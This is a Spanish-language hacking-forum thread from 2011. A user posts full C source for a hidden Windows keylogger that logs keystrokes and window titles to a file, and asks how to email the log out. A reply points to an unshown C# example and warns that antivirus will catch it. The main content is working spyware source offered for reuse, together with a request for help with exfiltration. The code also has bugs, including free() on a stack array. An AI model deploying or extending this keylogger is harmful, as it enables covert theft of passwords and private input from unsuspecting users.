elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Enviar Log al Email
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Enviar Log al Email  (Leído 3,090 veces)
misterioy

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Enviar Log al Email
« en: 2 Octubre 2011, 01:55 am »

Buenas, les cuento
Encontre un codigo de un Keylogger que al parecer anda perfecto.
Guarda el Log en un TXT. Ahora lo que necesito es que lo que haya adentro del TXT se envie a un Email. Les dejo el codigo que encontre del Keylogger.

Código:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

#define OK -32767

int main() {
HWND ventanaa=GetForegroundWindow();
ShowWindow(ventanaa,SW_HIDE);
FILE *log;
HWND ventana;   
time_t ltime;
int tecla=0;
int cont=0;
char TVentana[500] = "";                     
char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
/*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
/*2*/      "","","","","","","[Esc]","","","",
/*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
/*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
/*5*/      "3","4","5","6","7","8","9","","","",
/*6*/      "","","","","a","b","c","d","e","f",
/*7*/      "g","h","i","j","k","l","m","n","o","p",
/*8*/      "q","r","s","t","u","v","w","x","y","z",
/*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
/*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
/*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
/*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
/*13*/     " "," "," "," "," "," "," "," "," "," "," ",
/*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
/*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
/*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
/*17*/     " "," "," "," "," "," "," "," "," "," ",
/*18*/     " "," "," "," "," "," "," ",",","-",".",
/*19*/     " "," "," "," "," "," "," "," "," ",
/*20*/     " "," "," "," "," "," "," "," "," "," "," ",
/*21*/     " "," "," "," "," "," "," "," ","'","\\",
/*22*/     "¡","´" };

log=fopen("log.log","a");
fprintf(log,"\n/******************************/");
fprintf(log,"\n/* [*]KeyLoGuer   */");
fprintf(log,"\n/* [*]Iniciando...OK ");
fprintf(log,"\n/******************************/");
fclose(log);

ventana=GetForegroundWindow();

while(1) {
if((GetForegroundWindow()!=ventana) || (cont==850)){
if(strlen(TVentana)>0 && strlen(Teclas)>0) {
time(&ltime);
ctime(&ltime);

log=fopen("log.log","a");
fprintf(log,"\n\n[*] Fecha: %s",ctime(&ltime));
fprintf(log,"[*] Ventana: %s ",TVentana);
fprintf(log,"\n[*] Texto: %s",Teclas);
fprintf(log,"\n ");
fprintf(log,"\n/******************************/\n");
fclose(log);

free(Teclas);
strcpy(Teclas,"");
cont = 0;
}
ventana=GetForegroundWindow();
}
else {
GetWindowText(ventana,TVentana,500);
}
for(tecla=4;tecla<256;tecla++) {
if (GetAsyncKeyState(tecla)==OK) {
strcat(Teclas,simbol[tecla]);
printf(" %s \n" ,simbol[tecla]);
cont++;
}
}
}

}

Espero que me puedan ayudar!

Gracias
En línea

skapunky
Electronik Engineer &
Colaborador
***
Desconectado Desconectado

Mensajes: 3.667


www.killtrojan.net


Ver Perfil WWW
Re: Enviar Log al Email
« Respuesta #1 en: 2 Octubre 2011, 02:03 am »

Aquí tienes un ejemplo en C#, simplemente toma la idea y hazlo en el proyecto que has cogido de algún sitio. Por cierto nada de eso te servirá, los antivirus te lo detectaran como el leon los ciervos.

Para coger la idea de como funciona un keylogger te va perfecto, pero si tu idea es reutilizar el codigo no te va a salir bien la idea.

Ejemplo en C#

Por otro lado, si buscas en google encontrarás ejemplo: Ejemplo busqueda
En línea

Killtrojan Syslog v1.44: ENTRAR
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Enviar email
Scripting
lochapa 5 3,998 Último mensaje 8 Diciembre 2013, 23:02 pm
por Eleкtro
PhpMail enviar email con php
PHP
blaknez root 3 2,311 Último mensaje 1 Septiembre 2014, 19:18 pm
por MinusFour
[AYUDA] Integracion de GoogleMaps con AJAX, enviar mapa por email
PHP
Graphixx 7 3,192 Último mensaje 23 Septiembre 2014, 21:32 pm
por onStrike
Enviar DataGridView por Email VB.net 2010
.NET (C#, VB.NET, ASP)
el_cantante 6 6,438 Último mensaje 23 Septiembre 2015, 09:43 am
por el_cantante
Fallo al enviar email a servidor
Programación C/C++
Kaxperday 0 1,484 Último mensaje 19 Noviembre 2015, 11:22 am
por Kaxperday
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines